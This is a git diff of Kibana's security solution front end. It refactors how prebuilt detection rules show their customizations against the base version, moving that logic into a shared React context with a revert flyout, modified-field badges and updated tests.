b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/common/components/rule_execution_status/rule_status_failed_callout.test.tsx index c57ad6dd4d2cb..3b17180d713b5 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/common/components/rule_execution_status/rule_status_failed_callout.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/common/components/rule_execution_status/rule_status_failed_callout.test.tsx @@ -47,15 +47,6 @@ const ContextWrapper: FC> = ({ children }) => { }; describe('RuleStatusFailedCallOut', () => { - const renderWith = (status: RuleExecutionStatus | null | undefined) => - render( - - ); const renderWithAssistant = (status: RuleExecutionStatus | null | undefined) => render( @@ -64,31 +55,31 @@ describe('RuleStatusFailedCallOut', () => { date={DATE} message={MESSAGE} ruleNameForChat="ruleNameForChat" - />{' '} + /> ); it('is hidden if status is undefined', () => { - const result = renderWith(undefined); + const result = renderWithAssistant(undefined); expect(result.queryByTestId(TEST_ID)).toBe(null); }); it('is hidden if status is null', () => { - const result = renderWith(null); + const result = renderWithAssistant(null); expect(result.queryByTestId(TEST_ID)).toBe(null); }); it('is hidden if status is "going to run"', () => { - const result = renderWith(RuleExecutionStatusEnum['going to run']); + const result = renderWithAssistant(RuleExecutionStatusEnum['going to run']); expect(result.queryByTestId(TEST_ID)).toBe(null); }); it('is hidden if status is "running"', () => { - const result = renderWith(RuleExecutionStatusEnum.running); + const result = renderWithAssistant(RuleExecutionStatusEnum.running); expect(result.queryByTestId(TEST_ID)).toBe(null); }); it('is hidden if status is "succeeded"', () => { - const result = renderWith(RuleExecutionStatusEnum.succeeded); + const result = renderWithAssistant(RuleExecutionStatusEnum.succeeded); expect(result.queryByTestId(TEST_ID)).toBe(null); }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_creation/components/related_integrations/related_integration_field.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_creation/components/related_integrations/related_integration_field.tsx index cbdec36f7af91..4a234c2d88deb 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_creation/components/related_integrations/related_integration_field.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_creation/components/related_integrations/related_integration_field.tsx @@ -97,6 +97,7 @@ export function RelatedIntegrationField({ ); const hasError = Boolean(packageErrorMessage) || Boolean(versionErrorMessage); + const isVersionInputDisabled = !field.value.package || !integrations; return ( { beforeEach(() => { stepDataMock = mockAboutStepRule(); + usePrebuiltRuleBaseVersionContextMock.mockReturnValue({ + actions: { openCustomizationsPreviewFlyout: jest.fn() }, + state: { doesBaseVersionExist: true, modifiedFields: new Set() }, + }); }); test('it renders loading component when "loading" is true', () => { diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_creation/components/step_about_rule_details/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_creation/components/step_about_rule_details/index.tsx index 594c1ee4f35ab..9b86181c3786f 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_creation/components/step_about_rule_details/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_creation/components/step_about_rule_details/index.tsx @@ -8,6 +8,7 @@ import type { EuiButtonGroupOptionProps } from '@elastic/eui'; import { EuiButtonGroup, + EuiDescriptionList, EuiFlexGroup, EuiFlexItem, EuiPanel, @@ -28,6 +29,8 @@ import type { AboutStepRule, AboutStepRuleDetails } from '../../../common/types' import * as i18n from './translations'; import { fullHeight } from './styles'; import type { RuleResponse } from '../../../../../common/api/detection_engine'; +import { ModifiedFieldBadge } from '../../../rule_management/components/rule_details/modified_field_badge'; +import { RuleFieldName } from '../../../rule_management/components/rule_details/rule_field_name'; const detailsOption: EuiButtonGroupOptionProps = { id: 'details', @@ -115,16 +118,11 @@ const StepAboutRuleToggleDetailsComponent: React.FC = ({
    - - {stepDataDetails.description} - + - +
    )} @@ -135,7 +133,10 @@ const StepAboutRuleToggleDetailsComponent: React.FC = ({ maxHeight={aboutPanelHeight} > - {stepDataDetails.note} + + + {stepDataDetails.note} + )} @@ -145,7 +146,10 @@ const StepAboutRuleToggleDetailsComponent: React.FC = ({ maxHeight={aboutPanelHeight} > - {stepDataDetails.setup} + + + {stepDataDetails.setup} + )} @@ -200,3 +204,24 @@ function VerticalOverflowContent({
    ); } + +const RuleDescription = ({ description }: { description: string }) => ( + + ), + description: ( + + {description} + + ), + }, + ]} + /> +); diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_creation/components/step_about_rule_details/translations.ts b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_creation/components/step_about_rule_details/translations.ts index 40a30dffb6021..56b892ee7acd0 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_creation/components/step_about_rule_details/translations.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_creation/components/step_about_rule_details/translations.ts @@ -14,6 +14,13 @@ export const ABOUT_PANEL_DETAILS_TAB = i18n.translate( } ); +export const ABOUT_PANEL_DESCRIPTION_LABEL = i18n.translate( + 'xpack.securitySolution.detectionEngine.details.stepAboutRule.descriptionFieldLabel', + { + defaultMessage: 'Description', + } +); + export const ABOUT_TEXT = i18n.translate( 'xpack.securitySolution.detectionEngine.details.stepAboutRule.aboutText', { diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_creation_ui/components/data_view_selector_field/data_view_selector_field.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_creation_ui/components/data_view_selector_field/data_view_selector_field.tsx index 4a2abc06da86d..f27ed643794ce 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_creation_ui/components/data_view_selector_field/data_view_selector_field.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_creation_ui/components/data_view_selector_field/data_view_selector_field.tsx @@ -25,11 +25,12 @@ export function DataViewSelectorField({ field }: DataViewSelectorProps): JSX.Ele const fieldAndError = field ? getFieldValidityAndErrorMessage(field) : undefined; const isInvalid = fieldAndError?.isInvalid; const errorMessage = fieldAndError?.errorMessage; - const comboBoxOptions = useMemo( + const comboBoxOptions: Array> = useMemo( () => dataViews.map(({ id, title, name }) => ({ id, label: name ?? title, + toolTipContent: title, })), [dataViews] ); diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_details_ui/pages/rule_details/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_details_ui/pages/rule_details/index.tsx index fa2d81142c749..e2726358828e4 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_details_ui/pages/rule_details/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_details_ui/pages/rule_details/index.tsx @@ -39,6 +39,10 @@ import { TableId, } from '@kbn/securitysolution-data-table'; import type { DataViewSpec } from '@kbn/data-views-plugin/common'; +import { + PrebuiltRuleBaseVersionFlyoutContextProvider, + usePrebuiltRuleBaseVersionContext, +} from '../../../rule_management/components/rule_details/base_version_diff/base_version_context'; import { useGroupTakeActionsItems } from '../../../../detections/hooks/alerts_table/use_group_take_action_items'; import { useDataViewSpec } from '../../../../data_view_manager/hooks/use_data_view_spec'; import { @@ -147,7 +151,7 @@ import { RuleSnoozeBadge } from '../../../rule_management/components/rule_snooze import { useBoolState } from '../../../../common/hooks/use_bool_state'; import { RuleDefinitionSection } from '../../../rule_management/components/rule_details/rule_definition_section'; import { RuleScheduleSection } from '../../../rule_management/components/rule_details/rule_schedule_section'; -import { CustomizedPrebuiltRuleBadge } from '../../../rule_management/components/rule_details/customized_prebuilt_rule_badge'; +import { ModifiedRuleBadge } from '../../../rule_management/components/rule_details/modified_rule_badge'; import { ManualRuleRunModal } from '../../../rule_gaps/components/manual_rule_run'; import { useManualRuleRunConfirmation } from '../../../rule_gaps/components/manual_rule_run/use_manual_rule_run_confirmation'; // eslint-disable-next-line no-restricted-imports @@ -155,7 +159,6 @@ import { useLegacyUrlRedirect } from './use_redirect_legacy_url'; import { RuleDetailTabs, useRuleDetailsTabs } from './use_rule_details_tabs'; import { useIsExperimentalFeatureEnabled } from '../../../../common/hooks/use_experimental_features'; import { useRuleUpdateCallout } from '../../../rule_management/hooks/use_rule_update_callout'; -import { usePrebuiltRulesViewBaseDiff } from '../../../rule_management/hooks/use_prebuilt_rules_view_base_diff'; const RULE_EXCEPTION_LIST_TYPES = [ ExceptionListTypeEnum.DETECTION, @@ -339,12 +342,17 @@ const RuleDetailsPageComponent: React.FC = ({ }); }, [navigateToApp, ruleId]); + const { + actions: { setBaseVersionRule }, + } = usePrebuiltRuleBaseVersionContext(); + // persist rule until refresh is complete useEffect(() => { if (maybeRule != null) { setRule(maybeRule); + setBaseVersionRule(maybeRule); } - }, [maybeRule]); + }, [maybeRule, setBaseVersionRule]); useLegacyUrlRedirect({ rule, spacesApi }); @@ -433,18 +441,6 @@ const RuleDetailsPageComponent: React.FC = ({ onUpgrade: refreshRule, }); - const { - baseVersionFlyout, - openFlyout, - doesBaseVersionExist, - isLoading: isBaseVersionLoading, - } = usePrebuiltRulesViewBaseDiff({ rule, onRevert: refreshRule }); - - const isRevertBaseVersionDisabled = useMemo( - () => !doesBaseVersionExist || isBaseVersionLoading, - [doesBaseVersionExist, isBaseVersionLoading] - ); - const ruleStatusInfo = useMemo(() => { return ( <> @@ -621,7 +617,6 @@ const RuleDetailsPageComponent: React.FC = ({ {upgradeCallout} - {baseVersionFlyout} {isBulkDuplicateConfirmationVisible && ( = ({ subtitle={subTitle} subtitle2={ - + {ruleStatusI18n.STATUS} @@ -736,8 +731,6 @@ const RuleDetailsPageComponent: React.FC = ({ showBulkDuplicateExceptionsConfirmation={showBulkDuplicateConfirmation} showManualRuleRunConfirmation={showManualRuleRunConfirmation} confirmDeletion={confirmDeletion} - isRevertBaseVersionDisabled={isRevertBaseVersionDisabled} - openRuleDiffFlyout={openFlyout} /> @@ -769,6 +762,7 @@ const RuleDetailsPageComponent: React.FC = ({ rule={rule} isInteractive dataTestSubj="definitionRule" + showModifiedFields /> )} @@ -776,7 +770,7 @@ const RuleDetailsPageComponent: React.FC = ({ - {rule != null && } + {rule != null && } {hasActions && ( @@ -907,6 +901,12 @@ type PropsFromRedux = ConnectedProps; RuleDetailsPageComponent.displayName = 'RuleDetailsPageComponent'; -export const RuleDetailsPage = connector(React.memo(RuleDetailsPageComponent)); +const ConnectedRuleDetailsPage = connector(React.memo(RuleDetailsPageComponent)); + +export const RuleDetailsPage = () => ( + + + +); RuleDetailsPage.displayName = 'RuleDetailsPage'; diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_details_ui/pages/rule_details/rule_actions_overflow/index.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_details_ui/pages/rule_details/rule_actions_overflow/index.test.tsx index b7a215feb83e3..f9b0d04b36a6f 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_details_ui/pages/rule_details/rule_actions_overflow/index.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_details_ui/pages/rule_details/rule_actions_overflow/index.test.tsx @@ -14,6 +14,7 @@ import { useBulkExport } from '../../../../rule_management/logic/bulk_actions/us import { useExecuteBulkAction } from '../../../../rule_management/logic/bulk_actions/use_execute_bulk_action'; import { mockRule } from '../../../../rule_management_ui/components/rules_table/__mocks__/mock'; import type { ExternalRuleSource } from '../../../../../../common/api/detection_engine'; +import { usePrebuiltRuleBaseVersionContext } from '../../../../rule_management/components/rule_details/base_version_diff/base_version_context'; const showBulkDuplicateExceptionsConfirmation = () => Promise.resolve(null); const showManualRuleRunConfirmation = () => Promise.resolve(null); @@ -21,6 +22,9 @@ const showManualRuleRunConfirmation = () => Promise.resolve(null); jest.mock('../../../../../common/hooks/use_experimental_features'); jest.mock('../../../../rule_management/logic/bulk_actions/use_execute_bulk_action'); jest.mock('../../../../rule_management/logic/bulk_actions/use_bulk_export'); +jest.mock( + '../../../../rule_management/components/rule_details/base_version_diff/base_version_context' +); const mockReportEvent = jest.fn(); jest.mock('../../../../../common/lib/kibana', () => { @@ -47,9 +51,15 @@ jest.mock('../../../../../common/lib/kibana', () => { const useExecuteBulkActionMock = useExecuteBulkAction as jest.Mock; const useBulkExportMock = useBulkExport as jest.Mock; -const openRuleDiffFlyoutMock = jest.fn(); +const usePrebuiltRuleBaseVersionContextMock = usePrebuiltRuleBaseVersionContext as jest.Mock; describe('RuleActionsOverflow', () => { + beforeEach(() => { + usePrebuiltRuleBaseVersionContextMock.mockReturnValue({ + actions: { openCustomizationsRevertFlyout: jest.fn() }, + state: { doesBaseVersionExist: true }, + }); + }); describe('rules details menu panel', () => { test('menu items rendered when a rule is passed to the component', () => { const { getByTestId } = render( @@ -60,8 +70,6 @@ describe('RuleActionsOverflow', () => { userHasPermissions canDuplicateRuleWithActions={true} confirmDeletion={() => Promise.resolve(true)} - openRuleDiffFlyout={openRuleDiffFlyoutMock} - isRevertBaseVersionDisabled={false} />, { wrapper: TestProviders } ); @@ -82,8 +90,6 @@ describe('RuleActionsOverflow', () => { userHasPermissions canDuplicateRuleWithActions={true} confirmDeletion={() => Promise.resolve(true)} - openRuleDiffFlyout={openRuleDiffFlyoutMock} - isRevertBaseVersionDisabled={false} />, { wrapper: TestProviders } ); @@ -102,8 +108,6 @@ describe('RuleActionsOverflow', () => { userHasPermissions={false} canDuplicateRuleWithActions={true} confirmDeletion={() => Promise.resolve(true)} - openRuleDiffFlyout={openRuleDiffFlyoutMock} - isRevertBaseVersionDisabled={false} />, { wrapper: TestProviders } ); @@ -123,8 +127,6 @@ describe('RuleActionsOverflow', () => { userHasPermissions canDuplicateRuleWithActions={true} confirmDeletion={() => Promise.resolve(true)} - openRuleDiffFlyout={openRuleDiffFlyoutMock} - isRevertBaseVersionDisabled={false} />, { wrapper: TestProviders } ); @@ -148,8 +150,6 @@ describe('RuleActionsOverflow', () => { userHasPermissions canDuplicateRuleWithActions={true} confirmDeletion={() => Promise.resolve(true)} - openRuleDiffFlyout={openRuleDiffFlyoutMock} - isRevertBaseVersionDisabled={false} />, { wrapper: TestProviders } ); @@ -168,8 +168,6 @@ describe('RuleActionsOverflow', () => { userHasPermissions canDuplicateRuleWithActions={true} confirmDeletion={() => Promise.resolve(true)} - openRuleDiffFlyout={openRuleDiffFlyoutMock} - isRevertBaseVersionDisabled={false} />, { wrapper: TestProviders } ); @@ -191,8 +189,6 @@ describe('RuleActionsOverflow', () => { userHasPermissions canDuplicateRuleWithActions={true} confirmDeletion={() => Promise.resolve(true)} - openRuleDiffFlyout={openRuleDiffFlyoutMock} - isRevertBaseVersionDisabled={false} />, { wrapper: TestProviders } ); @@ -215,8 +211,6 @@ describe('RuleActionsOverflow', () => { userHasPermissions canDuplicateRuleWithActions={true} confirmDeletion={() => Promise.resolve(true)} - openRuleDiffFlyout={openRuleDiffFlyoutMock} - isRevertBaseVersionDisabled={false} />, { wrapper: TestProviders } ); @@ -241,8 +235,6 @@ describe('RuleActionsOverflow', () => { userHasPermissions canDuplicateRuleWithActions={true} confirmDeletion={() => Promise.resolve(true)} - openRuleDiffFlyout={openRuleDiffFlyoutMock} - isRevertBaseVersionDisabled={false} />, { wrapper: TestProviders } ); @@ -266,8 +258,6 @@ describe('RuleActionsOverflow', () => { userHasPermissions canDuplicateRuleWithActions={true} confirmDeletion={() => Promise.resolve(true)} - openRuleDiffFlyout={openRuleDiffFlyoutMock} - isRevertBaseVersionDisabled={false} />, { wrapper: TestProviders } ); @@ -287,8 +277,6 @@ describe('RuleActionsOverflow', () => { userHasPermissions canDuplicateRuleWithActions={true} confirmDeletion={() => Promise.resolve(true)} - openRuleDiffFlyout={openRuleDiffFlyoutMock} - isRevertBaseVersionDisabled={false} />, { wrapper: TestProviders } ); @@ -320,8 +308,6 @@ describe('RuleActionsOverflow', () => { userHasPermissions canDuplicateRuleWithActions={true} confirmDeletion={() => Promise.resolve(true)} - openRuleDiffFlyout={openRuleDiffFlyoutMock} - isRevertBaseVersionDisabled={false} />, { wrapper: TestProviders } ); @@ -336,6 +322,10 @@ describe('RuleActionsOverflow', () => { }); test('it disabled the revert action when isRevertBaseVersionDisabled is true', async () => { + usePrebuiltRuleBaseVersionContextMock.mockReturnValue({ + actions: { openCustomizationsRevertFlyout: jest.fn() }, + state: { doesBaseVersionExist: false }, + }); const { getByTestId } = render( { userHasPermissions canDuplicateRuleWithActions={true} confirmDeletion={() => Promise.resolve(true)} - openRuleDiffFlyout={openRuleDiffFlyoutMock} - isRevertBaseVersionDisabled={true} />, { wrapper: TestProviders } ); diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_details_ui/pages/rule_details/rule_actions_overflow/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_details_ui/pages/rule_details/rule_actions_overflow/index.tsx index 2a87a592fd9f0..3e010c38ffefd 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_details_ui/pages/rule_details/rule_actions_overflow/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_details_ui/pages/rule_details/rule_actions_overflow/index.tsx @@ -14,7 +14,7 @@ import { } from '@elastic/eui'; import React, { useCallback, useMemo } from 'react'; import styled from 'styled-components'; -import type { OpenRuleDiffFlyoutParams } from '../../../../rule_management/hooks/use_prebuilt_rules_view_base_diff'; +import { usePrebuiltRuleBaseVersionContext } from '../../../../rule_management/components/rule_details/base_version_diff/base_version_context'; import { isCustomizedPrebuiltRule } from '../../../../../../common/api/detection_engine'; import { useScheduleRuleRun } from '../../../../rule_gaps/logic/use_schedule_rule_run'; import type { TimeRange } from '../../../../rule_gaps/types'; @@ -57,8 +57,6 @@ interface RuleActionsOverflowComponentProps { showBulkDuplicateExceptionsConfirmation: () => Promise; showManualRuleRunConfirmation: () => Promise; confirmDeletion: () => Promise; - openRuleDiffFlyout: (params: OpenRuleDiffFlyoutParams) => void; - isRevertBaseVersionDisabled: boolean; } /** @@ -71,8 +69,6 @@ const RuleActionsOverflowComponent = ({ showBulkDuplicateExceptionsConfirmation, showManualRuleRunConfirmation, confirmDeletion, - openRuleDiffFlyout, - isRevertBaseVersionDisabled, }: RuleActionsOverflowComponentProps) => { const [isPopoverOpen, , closePopover, togglePopover] = useBoolState(); const { @@ -92,6 +88,11 @@ const RuleActionsOverflowComponent = ({ }); }, [navigateToApp]); + const { + actions: { openCustomizationsRevertFlyout }, + state: { doesBaseVersionExist }, + } = usePrebuiltRuleBaseVersionContext(); + const actions = useMemo( () => rule != null @@ -188,22 +189,20 @@ const RuleActionsOverflowComponent = ({ { closePopover(); - openRuleDiffFlyout({ isReverting: true }); + openCustomizationsRevertFlyout(); }} > {i18nActions.REVERT_RULE} @@ -240,7 +239,7 @@ const RuleActionsOverflowComponent = ({ rule, canDuplicateRuleWithActions, userHasPermissions, - isRevertBaseVersionDisabled, + doesBaseVersionExist, startTransaction, closePopover, showBulkDuplicateExceptionsConfirmation, @@ -251,7 +250,7 @@ const RuleActionsOverflowComponent = ({ showManualRuleRunConfirmation, telemetry, scheduleRuleRun, - openRuleDiffFlyout, + openCustomizationsRevertFlyout, confirmDeletion, onRuleDeletedCallback, ] diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/api/hooks/prebuilt_rules/use_revert_prebuilt_rule_mutation.ts b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/api/hooks/prebuilt_rules/use_revert_prebuilt_rule_mutation.ts index c7cc224c2b41c..7a1b10cbfeec8 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/api/hooks/prebuilt_rules/use_revert_prebuilt_rule_mutation.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/api/hooks/prebuilt_rules/use_revert_prebuilt_rule_mutation.ts @@ -21,6 +21,7 @@ import { useInvalidateFetchPrebuiltRulesUpgradeReviewQuery } from './use_fetch_p import { retryOnRateLimitedError } from './retry_on_rate_limited_error'; import { cappedExponentialBackoff } from './capped_exponential_backoff'; import { useInvalidateFetchPrebuiltRuleBaseVersionQuery } from './use_fetch_prebuilt_rule_base_version_query'; +import { useInvalidateFetchRuleByIdQuery } from '../use_fetch_rule_by_id_query'; export const REVERT_PREBUILT_RULE_KEY = ['POST', REVERT_PREBUILT_RULES_URL]; @@ -39,6 +40,7 @@ export const useRevertPrebuiltRuleMutation = ( const invalidateRuleStatus = useInvalidateFetchPrebuiltRulesStatusQuery(); const invalidateFetchCoverageOverviewQuery = useInvalidateFetchCoverageOverviewQuery(); const invalidateFetchPrebuiltRuleBaseVerison = useInvalidateFetchPrebuiltRuleBaseVersionQuery(); + const invalidateFetchRuleByIdQuery = useInvalidateFetchRuleByIdQuery(); return useMutation( (args: RevertPrebuiltRulesRequest) => { @@ -55,6 +57,7 @@ export const useRevertPrebuiltRuleMutation = ( invalidateFetchPrebuiltRulesUpgradeReview(); invalidateRuleStatus(); invalidateFetchCoverageOverviewQuery(); + invalidateFetchRuleByIdQuery(); invalidateFetchPrebuiltRuleBaseVerison(); if (options?.onSettled) { diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/base_version_context.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/base_version_context.tsx new file mode 100644 index 0000000000000..de133b3579c64 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/base_version_context.tsx @@ -0,0 +1,92 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { Dispatch, SetStateAction } from 'react'; +import React, { createContext, useContext, useMemo, useState } from 'react'; +import type { RuleResponse } from '../../../../../../common/api/detection_engine/model/rule_schema'; +import { invariant } from '../../../../../../common/utils/invariant'; +import { usePrebuiltRulesViewBaseDiff } from './use_prebuilt_rules_view_base_diff'; + +export interface PrebuiltRuleBaseVersionState { + doesBaseVersionExist: boolean; + isLoading: boolean; + modifiedFields: Set; +} + +export interface PrebuiltRuleBaseVersionActions { + openCustomizationsPreviewFlyout: () => void; + openCustomizationsRevertFlyout: () => void; + setBaseVersionRule: Dispatch>; +} + +export interface PrebuiltRuleBaseVersionContextType { + state: PrebuiltRuleBaseVersionState; + actions: PrebuiltRuleBaseVersionActions; +} + +const PrebuiltRuleBaseVersionContext = createContext( + null +); + +interface PrebuiltRuleBaseVersionFlyoutContextProviderProps { + children: React.ReactNode; +} + +export const PrebuiltRuleBaseVersionFlyoutContextProvider = ({ + children, +}: PrebuiltRuleBaseVersionFlyoutContextProviderProps) => { + const [rule, setRule] = useState(null); + + const { + baseVersionFlyout, + openCustomizationsPreviewFlyout, + openCustomizationsRevertFlyout, + doesBaseVersionExist, + isLoading, + modifiedFields, + } = usePrebuiltRulesViewBaseDiff({ rule }); + + const actions = useMemo( + () => ({ + openCustomizationsPreviewFlyout, + openCustomizationsRevertFlyout, + setBaseVersionRule: setRule, + }), + [openCustomizationsPreviewFlyout, openCustomizationsRevertFlyout] + ); + + const providerValue = useMemo( + () => ({ + state: { + isLoading, + doesBaseVersionExist, + modifiedFields, + }, + actions, + }), + [actions, doesBaseVersionExist, isLoading, modifiedFields] + ); + + return ( + + <> + {children} + {baseVersionFlyout} + + + ); +}; + +export const usePrebuiltRuleBaseVersionContext = (): PrebuiltRuleBaseVersionContextType => { + const prebuiltRuleBaseVersionContext = useContext(PrebuiltRuleBaseVersionContext); + invariant( + prebuiltRuleBaseVersionContext, + 'usePrebuiltRuleBaseVersionContext should be used inside PrebuiltRuleBaseVersionFlyoutContextProvider' + ); + + return prebuiltRuleBaseVersionContext; +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/base_version_flyout.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/base_version_flyout.tsx index 466e62ec4734f..2c1c6dcee443a 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/base_version_flyout.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/base_version_flyout.tsx @@ -5,7 +5,7 @@ * 2.0. */ -import React, { memo, useCallback, useMemo, useRef, useEffect } from 'react'; +import React, { memo, useCallback, useMemo, useRef, useEffect, useState } from 'react'; import { EuiButton, EuiCallOut, EuiSpacer, EuiToolTip } from '@elastic/eui'; import { useAppToasts } from '../../../../../common/hooks/use_app_toasts'; import type { PartialRuleDiff, RuleResponse } from '../../../../../../common/api/detection_engine'; @@ -19,6 +19,7 @@ import { getRevertRuleErrorStatusCode, useRevertPrebuiltRule, } from '../../../logic/prebuilt_rules/use_revert_prebuilt_rule'; +import { DiffLayout } from '../../../model/rule_details/rule_field_diff'; export const PREBUILT_RULE_BASE_VERSION_FLYOUT_ANCHOR = 'baseVersionPrebuiltRulePreview'; @@ -32,7 +33,6 @@ interface PrebuiltRulesBaseVersionFlyoutComponentProps { diff: PartialRuleDiff; closeFlyout: () => void; isReverting: boolean; - onRevert?: () => void; } export const PrebuiltRulesBaseVersionFlyout = memo(function PrebuiltRulesBaseVersionFlyout({ @@ -41,14 +41,19 @@ export const PrebuiltRulesBaseVersionFlyout = memo(function PrebuiltRulesBaseVer diff, closeFlyout, isReverting, - onRevert, }: PrebuiltRulesBaseVersionFlyoutComponentProps): JSX.Element { - useConcurrencyControl(currentRule); + const isOutdated = useConcurrencyControl(currentRule); const { mutateAsync: revertPrebuiltRule, isLoading } = useRevertPrebuiltRule(); const subHeader = useMemo( - () => , - [currentRule, diff] + () => ( + + ), + [currentRule, diff, isOutdated] ); const revertRule = useCallback(async () => { @@ -65,32 +70,23 @@ export const PrebuiltRulesBaseVersionFlyout = memo(function PrebuiltRulesBaseVer if (statusCode !== 409) { closeFlyout(); } - } finally { - if (onRevert) { - onRevert(); - } } - }, [ - closeFlyout, - currentRule.id, - currentRule.revision, - currentRule.version, - onRevert, - revertPrebuiltRule, - ]); + }, [closeFlyout, currentRule.id, currentRule.revision, currentRule.version, revertPrebuiltRule]); const ruleActions = useMemo(() => { return isReverting ? ( {i18n.REVERT_BUTTON_LABEL} ) : null; - }, [isLoading, isReverting, revertRule]); + }, [isLoading, isOutdated, isReverting, revertRule]); const extraTabs = useMemo(() => { const headerCallout = isReverting ? ( @@ -114,7 +110,11 @@ export const PrebuiltRulesBaseVersionFlyout = memo(function PrebuiltRulesBaseVer ), @@ -130,16 +130,25 @@ export const PrebuiltRulesBaseVersionFlyout = memo(function PrebuiltRulesBaseVer content: (
    ), }; return [updatesTab, jsonViewTab]; - }, [baseRule, currentRule, diff, isReverting]); + /** + * We want to statically load this data so it doesn't change while user is viewing so + * we don't rerender the diff displays based on `currentRule`, `baseRule`, or `diff`. + * User is alerted to stale data when present via the `isOutdated` prop + */ + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [isReverting]); return ( (); + const [isOutdated, setIsOutdated] = useState(false); const { addWarning } = useAppToasts(); useEffect(() => { @@ -176,10 +186,13 @@ function useConcurrencyControl(rule: RuleResponse): void { title: i18n.NEW_REVISION_DETECTED_WARNING, text: i18n.NEW_REVISION_DETECTED_WARNING_MESSAGE, }); + setIsOutdated(true); } concurrencyControl.current = { revision: rule.revision, }; }, [addWarning, rule.revision]); + + return isOutdated; } diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/base_version_flyout_subheader.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/base_version_flyout_subheader.tsx index a38fd0517032f..4eef7a4ec4ccc 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/base_version_flyout_subheader.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/base_version_flyout_subheader.tsx @@ -6,7 +6,7 @@ */ import React from 'react'; -import { EuiFlexGroup, EuiFlexItem, EuiSpacer, EuiText } from '@elastic/eui'; +import { EuiCallOut, EuiFlexGroup, EuiFlexItem, EuiSpacer, EuiText } from '@elastic/eui'; import { startCase, camelCase } from 'lodash'; import { FormattedDate } from '../../../../../common/components/formatted_date'; import type { PartialRuleDiff, RuleResponse } from '../../../../../../common/api/detection_engine'; @@ -16,11 +16,13 @@ import { fieldToDisplayNameMap } from '../diff_components/translations'; interface BaseVersionDiffFlyoutSubheaderProps { currentRule: RuleResponse; diff: PartialRuleDiff; + isOutdated: boolean; } export const BaseVersionDiffFlyoutSubheader = ({ currentRule, diff, + isOutdated, }: BaseVersionDiffFlyoutSubheaderProps) => { const lastUpdate = ( @@ -36,10 +38,10 @@ export const BaseVersionDiffFlyoutSubheader = ({ ); const fieldsDiff = Object.keys(diff.fields); - const fieldUpdates = fieldsDiff.length > 0 && ( + const fieldModifications = fieldsDiff.length > 0 && ( - {i18n.FIELD_UPDATES} + {i18n.FIELD_MODIFICATIONS} {':'} {' '} {fieldsDiff @@ -55,8 +57,16 @@ export const BaseVersionDiffFlyoutSubheader = ({
    - {fieldUpdates} + {fieldModifications} + {isOutdated && ( + <> + + +

    {i18n.OUTDATED_DIFF_CALLOUT_MESSAGE}

    +
